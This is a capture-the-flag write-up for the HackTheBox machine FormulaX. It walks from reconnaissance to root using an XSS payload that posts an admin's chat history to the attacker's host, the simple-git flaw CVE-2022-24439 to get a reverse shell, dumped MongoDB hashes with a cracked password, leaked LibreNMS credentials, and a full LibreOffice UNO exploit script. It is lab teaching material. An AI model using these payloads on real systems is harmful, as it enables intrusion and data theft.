Hackthebox: FormulaX

Foued SAIDI Lv4

Overview

FormulaX is a hard-difficulty machine from HackTheBox, where we initially have an XSS foothold to be able to access a hidden subdomain with CVE-2022-24439. Later obtaining hidden credentials from a mongo database to acquire our user flag. And finally taking advantage of exposed credentials using librenms and utilizing a public exploit of LibreOffice to obtain our root flag.

FormulaX-info-card
FormulaX-info-card

Reconnaissance

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
PS C:\Users\0xkujen> nmap -A -Pn 10.129.230.190
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-16 20:39 W. Central Africa Standard Time
NSOCK ERROR [0.2640s] ssl_init_helper(): OpenSSL legacy provider failed to load.

Nmap scan report for 10.129.230.190
Host is up (0.35s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 5fb2cd54e447d10e9e8135923cd6a3cb (ECDSA)
|_ 256 b9f00ddc057bfafb91e6d0b459e6db88 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /static/index.html
|_http-cors: GET POST
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=8/16%OT=22%CT=1%CU=33472%PV=Y%DS=2%DC=T%G=Y%TM=66BFAB7
OS:9%P=i686-pc-windows-windows)SEQ(SP=102%GCD=1%ISR=10E%TI=Z%CI=Z%II=I)SEQ(
OS:CI=Z%II=I)SEQ(SP=102%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=B)OPS(O1=M54EST11NW
OS:7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54EST11NW7%O5=M54EST11NW7%O6=M54EST
OS:11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40
OS:%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R
OS:=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
OS:T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%U
OS:N=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1723/tcp)
HOP RTT ADDRESS
1 477.00 ms 10.10.16.1
2 477.00 ms 10.129.230.190

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 129.08 seconds

We can see that we have OpenSSH running on port 22, and web application exposed on port 80.

Web Application - http://10.129.230.190

Web App Port 80
Web App Port 80

This seems like a casual web application with login and registration features. We register a casual user and login with it:

User login
User login

Two features that I could see as interesting are the Chat Now and Contact Us.

ChatBot - http://10.129.230.190/restricted/chat.html

ChatBot
ChatBot

Seems like the chatbot is not currently working as it is responding to all my commands with the same output.

Contact Form - http://10.129.230.190/restricted/contact_us.html

Contact Us
Contact Us

The title of the page is Contact to Admin, maybe the admin will see our request? This gives me directly a thought towards XSS (Cross-Site Scripting)

XSS
XSS

And we get a response:

1
2
3
4
PS C:\Users\0xkujen\OneDrive\Bureau\HackThebox\HTB_Machines\FormulaX> python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.230.190 - - [17/Aug/2024 11:37:45] code 501, message Unsupported method ('OPTIONS')
::ffff:10.129.230.190 - - [17/Aug/2024 11:37:45] "OPTIONS /undefined HTTP/1.1" 501 -

But seems we’re getting an error about an unsupported Method. This made me think that my code is not suitable to this XSS especially.
Digging a bit deeper, I discovered a chat.js file that provided me with a lot of help regarding communications in this web app:

XSS
XSS

This script allowed me to deeply understand the communications happening in the back-end of how the chatbot is interpreting messages, and allowed me to craft this payload:

1
2
3
4
5
6
const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);
script.addEventListener('load', function() {
const res = axios.get(`/user/api/chat`); const socket = io('/',{withCredentials: true}); socket.on('message', (my_message) => {fetch("http://10.10.x.x/?d=" + btoa(my_message))}) ; socket.emit('client_message', 'history');
});

Then I encoded the payload to base64:

1
<img SRC=x onerror='eval(atob("Y29uc3Qgc2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7DQpzY3JpcHQuc3JjID0gJy9zb2NrZXQuaW8vc29ja2V0LmlvLmpzJzsNCmRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTsNCnNjcmlwdC5hZGRFdmVudExpc3RlbmVyKCdsb2FkJywgZnVuY3Rpb24oKSB7DQpjb25zdCByZXMgPSBheGlvcy5nZXQoYC91c2VyL2FwaS9jaGF0YCk7IGNvbnN0IHNvY2tldCA9IGlvKCcvJyx7d2l0aENyZWRlbnRpYWxzOiB0cnVlfSk7IHNvY2tldC5vbignbWVzc2FnZScsIChteV9tZXNzYWdlKSA9PiB7ZmV0Y2goImh0dHA6Ly8xMC4xMC54LngvP2Q9IiArIGJ0b2EobXlfbWVzc2FnZSkpfSkgOyBzb2NrZXQuZW1pdCgnY2xpZW50X21lc3NhZ2UnLCAnaGlzdG9yeScpOw0KfSk7"));' />

We insert our payload inside the contact form, and we get a callback:

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\0xkujen> python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.230.190 - - [17/Aug/2024 12:25:40] code 501, message Unsupported method ('OPTIONS')
::ffff:10.129.230.190 - - [17/Aug/2024 12:25:40] "OPTIONS /?d=R3JlZXRpbmdzIS4gSG93IGNhbiBpIGhlbHAgeW91IHRvZGF5ID8uIFlvdSBjYW4gdHlwZSBoZWxwIHRvIHNlZSBzb21lIGJ1aWxkaW4gY29tbWFuZHM= HTTP/1.1" 501 -
::ffff:10.129.230.190 - - [17/Aug/2024 12:25:40] code 501, message Unsupported method ('OPTIONS')
::ffff:10.129.230.190 - - [17/Aug/2024 12:25:40] "OPTIONS /?d=V3JpdGUgYSBzY3JpcHQgdG8gYXV0b21hdGUgdGhlIGF1dG8tdXBkYXRl HTTP/1.1" 501 -
::ffff:10.129.230.190 - - [17/Aug/2024 12:25:40] code 501, message Unsupported method ('OPTIONS')
::ffff:10.129.230.190 - - [17/Aug/2024 12:25:40] "OPTIONS /?d=V3JpdGUgYSBzY3JpcHQgZm9yICBkZXYtZ2l0LWF1dG8tdXBkYXRlLmNoYXRib3QuaHRiIHRvIHdvcmsgcHJvcGVybHk= HTTP/1.1" 501 -
::ffff:10.129.230.190 - - [17/Aug/2024 12:25:40] code 501, message Unsupported method ('OPTIONS')
::ffff:10.129.230.190 - - [17/Aug/2024 12:25:40] "OPTIONS /?d=TWVzc2FnZSBTZW50Ojxicj5oaXN0b3J5 HTTP/1.1" 501 -
::ffff:10.129.230.190 - - [17/Aug/2024 12:25:40] code 501, message Unsupported method ('OPTIONS')
::ffff:10.129.230.190 - - [17/Aug/2024 12:25:40] "OPTIONS /?d=SGVsbG8sIEkgYW0gQWRtaW4uVGVzdGluZyB0aGUgQ2hhdCBBcHBsaWNhdGlvbg== HTTP/1.1" 501 -

These seem like base64 strings, we decode them and we get something interesting:

New-Subdomain
New-Subdomain

We can now add this subdomain to our /etc/hosts file and check what it has for us:10.129.230.190 dev-git-auto-update.chatbot.htb chatbot.htb

This seems like a portal where we insert a specific GIT URL and it generates us some sort of report:

dev-git-auto-update
dev-git-auto-update

But one interesting thing we can notice is the use of simple-git v3.14 which is vulnerable to CVE-2022-24439 :

CVE-2022-24439
CVE-2022-24439

This is the POC used for the exploit.
We create our own reverse shell script shell.sh and we run it on the portal to get a callback:

CVE-2022-24439
CVE-2022-24439

1
2
3
4
5
6
7
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.230.190] 32968
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Pivoting from www-data user to frank_dorky

First thing that comes to my mind is to check for database credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@formulax:~/app/configuration$ cat connect_db.js
cat connect_db.js
import mongoose from "mongoose";

const connectDB= async(URL_DATABASE)=>{
try{
const DB_OPTIONS={
dbName : "testing"
}
mongoose.connect(URL_DATABASE,DB_OPTIONS)
console.log("Connected Successfully TO Database")
}catch(error){
console.log(`Error Connecting to the ERROR ${error}`);
}
}

export default connectDB

We can see that we have a testing database, let’s try to get a connection to that database through mongo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
export default connectDBwww-data@formulax:~/app/configuration$ mongo
mongo
MongoDB shell version v4.4.29
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("4c627fbb-946e-431c-b407-2ed03f115631") }
MongoDB server version: 4.4.8
---
The server generated these startup warnings when booting:
2024-08-16T14:40:41.102+00:00: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem
2024-08-16T14:40:43.351+00:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted
---
> use testing;
ususe testing;
switched to db testing
> show collections
shshow collections
messages
users
> db.users.find()
dbdb.users.find()
{ "_id" : ObjectId("648874de313b8717284f457c"), "name" : "admin", "email" : "[email protected]", "password" : "$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.", "terms" : true, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MjM5MDE4MTN9.fFBS9r66QgmLQZ1t92vEI-BJIizvI3cxz2UEFB87nnQ", "__v" : 0 }
{ "_id" : ObjectId("648874de313b8717284f457d"), "name" : "frank_dorky", "email" : "[email protected]", "password" : "$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6", "terms" : true, "value" : true, "authorization_token" : " ", "__v" : 0 }
>

frank_dorky‘s password is crackable using rockyou wordlist:

1
2
3
4
5
┌──(kali㉿kali)-[~/hackthebox/formulaX]
└─$ john hash.txt --show
?:manchesterunited

1 password hash cracked, 0 left

Let’s ssh onto the user now and get our user flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PS C:\Users\0xkujen> ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Aug 16 17:33:09 2024 from 10.10.x.x
frank_dorky@formulax:~$ id
uid=1002(frank_dorky) gid=1002(frank_dorky) groups=1002(frank_dorky)
frank_dorky@formulax:~$ ls
user.txt
frank_dorky@formulax:~$ cat user.txt
08c82572ce4de9******************
frank_dorky@formulax:~$

Pivoting from frank_dorky to kai_relay

Checking the /opt folder, I found an unusual folder which is librenms

1
LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems including Cisco, Linux, FreeBSD, Juniper, Brocade, Foundry, HP and many more.

Checking the public github repo for librenms, I find an interesting configuration file which is config_to_json.php which allows you to extract and utilize the configuration data from LibreNMS in a structured format like JSON, possibly for integration, automation, or debugging purposes.

Running that file we get interesting output with credentials to kai_relay:

1
2
3
frank_dorky@formulax:/opt/librenms$ ./config_to_json.php
<snip>"db_host":"localhost","db_name":"librenms","db_user":"kai_relay","db_pass":"mychemicalformulaX","db_port":"3306","db_socket":""}
frank_dorky@formulax:/opt/librenms$

Privilege Escalation from kai_relay to root

Let’s now ssh to kai_relay user and check what we can run as sudo:

1
2
3
4
5
6
7
8
kai_relay@formulax:~$ sudo -l
Matching Defaults entries for kai_relay on forumlax:
env_reset, timestamp_timeout=0, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
env_reset, timestamp_timeout=0

User kai_relay may run the following commands on forumlax:
(ALL) NOPASSWD: /usr/bin/office.sh
kai_relay@formulax:~$

Checking the contents of /use/bin/office.sh we find some interesting stuff:

1
2
3
4
kai_relay@formulax:~$ cat /usr/bin/office.sh
#!/bin/bash
/usr/bin/soffice --calc --accept="socket,host=localhost,port=2002;urp;" --norestore --nologo --nodefault --headless
kai_relay@formulax:~$

This script launches LibreOffice Calc in a headless mode, setting it up to listen for connections on localhost:2002. This allows other programs or scripts to remotely control LibreOffice, typically for automating tasks such as document processing or conversion.

Checking for any public exploits for this binary we get an interesting find :

Soffice-Exploit
Soffice-Exploit

Exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import uno
from com.sun.star.system import XSystemShellExecute
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--host', help='host to connect to', dest='host', required=True)
parser.add_argument('--port', help='port to connect to', dest='port', required=True)

args = parser.parse_args()
# Define the UNO component
localContext = uno.getComponentContext()

# Define the resolver to use, this is used to connect with the API
resolver = localContext.ServiceManager.createInstanceWithContext(
"com.sun.star.bridge.UnoUrlResolver", localContext )

# Connect with the provided host on the provided target port
print("[+] Connecting to target...")
context = resolver.resolve(
"uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host,args.port))

# Issue the service manager to spawn the SystemShellExecute module and execute calc.exe
service_manager = context.ServiceManager
print("[+] Connected to {0}".format(args.host))
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")
shell_execute.execute("/usr/bin/cat", "/root/root.txt",1)

The first step is to run the /usr/bin/office.sh bash script in a seperate ssh session, later running our exploit. We run it and we get our root flag:

1
2
kai_relay@formulax:~$ sudo /usr/bin/office.sh
45339506067b7b******************

I hope this writeup was informative, thanks for reading!
-0xkujen

  • Title: Hackthebox: FormulaX
  • Author: Foued SAIDI
  • Created at : 2024-08-17 17:00:00
  • Updated at : 2024-08-17 16:38:08
  • Link: https://kujen5.github.io/2024/08/17/Hackthebox-FormulaX/
  • License: This work is licensed under CC BY-NC-SA 4.0.